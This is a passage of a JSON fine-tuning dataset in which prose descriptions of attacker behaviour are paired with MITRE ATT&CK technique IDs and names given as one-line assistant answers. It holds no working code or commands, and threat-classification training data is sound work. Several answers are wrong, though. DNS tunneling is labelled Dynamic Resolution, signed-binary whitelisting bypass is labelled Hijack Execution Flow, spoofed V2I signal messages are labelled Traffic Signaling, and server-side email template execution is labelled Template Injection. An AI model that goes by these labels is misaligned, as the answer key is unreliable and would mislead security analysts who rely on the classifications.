        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder collects SSL certificate information to discover alternative domain names used by the target."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor’s tool generates HTML files that embed a zip archive as a base64 string, which the browser extracts and runs, facilitating stealthy payload delivery."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a misconfigured sudo configuration, the threat actor runs a credential dumping tool with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software queries the Active Directory schema via LDAP to enumerate all domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor disables the self‑encrypting drive's encryption engine, making data protection reliant on software only."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor applies a proprietary bit‑flipping algorithm to obfuscate exfiltrated configuration files."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage the ICE protocol to traverse NAT devices, establishing direct peer-to-peer channels for command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses container orchestration tools to spin up a compromised container that runs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware populates a document with filler text so that the malicious macro blends in."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder installed a new transport agent on a legacy POP3 server, allowing them to redirect inbound traffic to an external C2 server."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A coordinated DDoS campaign targets the client authentication endpoint, overwhelming it with credential validation attempts and exhausting processing capacity."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sends a message through a corporate instant messaging platform with a clickable link that directs users to a credential‑stealing login page."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a malicious alias in the user's .bashrc to execute hidden commands whenever the shell started."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses signed binaries to bypass application whitelisting controls."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised VPN tunnel, the adversary intercepts and takes over an existing remote management session to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a VBS file and calls it via a signed system binary to hide its activity, employing the T1216 technique."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a rogue Wi‑Fi hotspot to intercept MFA codes transmitted over the network during the login handshake."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor plants a destructive payload that encrypts and then deletes the encryption keys, preventing data recovery."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool verifies the presence of a particular network adapter MAC address and aborts if it does not detect that adapter, using it as an execution guardrail."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email campaign requests victims to fill out a survey that inadvertently reveals details about the target company's internal departments."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script retrieves saved Wi‑Fi network passwords from the Windows registry."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on a connected vehicle's infotainment system sends spoofed V2I messages that override the traffic signal phase and timing (SPaT) data, forcing the lights to stay red for opposing traffic."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised cloud account to download stored passwords from HashiCorp Vault hosted in the environment."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor is observed using DNS tunneling to exfiltrate sensitive data from a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a vulnerable SSH service on a firewall and copied the startup-config to a remote server via SCP."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary rents a virtual private server from a cloud provider to host malware command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor hijacks legitimate e‑commerce sites and inserts SEO‑optimized product pages that redirect shoppers to a credential‑phishing portal."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the Windows kernel's transaction manager to perform process doppelgänging, allowing them to execute payloads while evading signature-based detection."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a legitimate content management system (CMS) to embed malicious code on websites."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor disables Windows Event Logging by editing the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EventLog policy settings."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device runs a daemon that bundles sensor data and pushes it to an attacker‑controlled MQTT broker every few minutes."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group performs reverse IP lookup on the target's domain to uncover additional hosted domains."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a script on the target system and then uses a compiler to transform it into an executable binary at runtime, hiding the original code."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool like Remote Desktop Protocol Hijacker, the adversary reuses an existing RDP session token to gain unauthorized access without prompting for credentials."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploits a vulnerability in the software development environment’s IDE plugins to insert malicious code into source files."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Microsoft Graph API to enumerate and export mail folders from a compromised user’s account to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the actor runs \"tasklist\" to identify processes that can be hijacked."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a DLL hijacking technique on the network provider interface to intercept NTLM hashes."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using MSBuild's /t:Compile target, attackers compile and execute a malicious .csproj that contains a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware copies a malicious .pfx file to the victim system and uses the Windows API to install it, granting elevated trust for subsequent payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Outlook add‑in is installed that automatically changes the Home Page to a malicious URL each time Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised FTP account, the attacker places a Python CGI script that acts as a web shell for later use."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor creates a VPN-like encrypted channel to a remote server for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages MSBuild to run malicious code by abusing a trusted developer utilities proxy."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators encoded stolen data within DNS TXT records and exfiltrated it to an attacker-controlled domain."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gathers system logs from /var/log/ and archives them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'ipconfig /all' to list all network adapters and their IP configurations on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool edits the default program for .docx files to a malicious macro, leading to execution when a document is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors install cryptomining scripts via malicious browser extensions, leveraging user devices for illicit mining."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware conceals its payload within the alpha channel of a GIF file, which is later extracted and run when the file is processed by an application."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker edits the domain's Group Policy to set a custom logon script that runs malicious code."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user uploads a specially crafted email template that the mail server processes, resulting in code execution on the server."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses lateral movement to spread malware within a network?"
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches a hidden virtual machine to execute malware, keeping the malicious files off the host filesystem."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sent a series of SNMP GETNEXT requests to traverse the MIB hierarchy on the host."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script performs iterative DNS queries to calculate a hash-based domain name and resolve it to contact C2."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Word document is sent via social media, and the user enables macros, causing the embedded malware to run."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Chrome password store API to extract saved website credentials from a compromised user profile."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script writes its command module to a file's alternate data stream, avoiding typical antivirus scans."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script continuously opens and closes connections to a network service, depleting its available sockets and leading to endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Outlook rule is used to automatically reply to phishing emails with a crafted response containing a malicious link, amplifying the attack."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a credential dumping on a compromised Azure VM to extract the Azure Instance Metadata Service token, granting temporary admin rights."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise begins with a script that obtains a staging URL, then uses that URL to sequentially download multiple payload files to complete the infection."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a man‑in‑the‑middle attack on the OpenID Connect flow, tampering with the ID token payload to elevate privileges in the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Mavinject to proxy execute a payload by injecting it into a signed system DLL loaded by explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor hijacks the default screensaver process, replacing it with a malicious binary that launches upon screensaver activation."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor registers a new Windows service called \"SecurityHealthService\" to disguise malicious code as a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries public DNS records to map the victim's network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers automate searches on public source code hosting services for Docker Hub credentials embedded in Dockerfiles."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the PAM configuration files to add a malicious module that captures user credentials during login."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged a stolen OAuth token to call Google Cloud Secret Manager and extract service account keys."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disables security tool alerts by altering the configuration files of the endpoint protection software, effectively blocking any indicator that would inform the user of compromise."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden module creates a set of DNS queries for domains derived from a seed value, checking which resolve to active C2."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a script to extract the startup-config from a series of network devices for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a cross‑site scripting flaw to inject a script that modifies the displayed text on the homepage."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
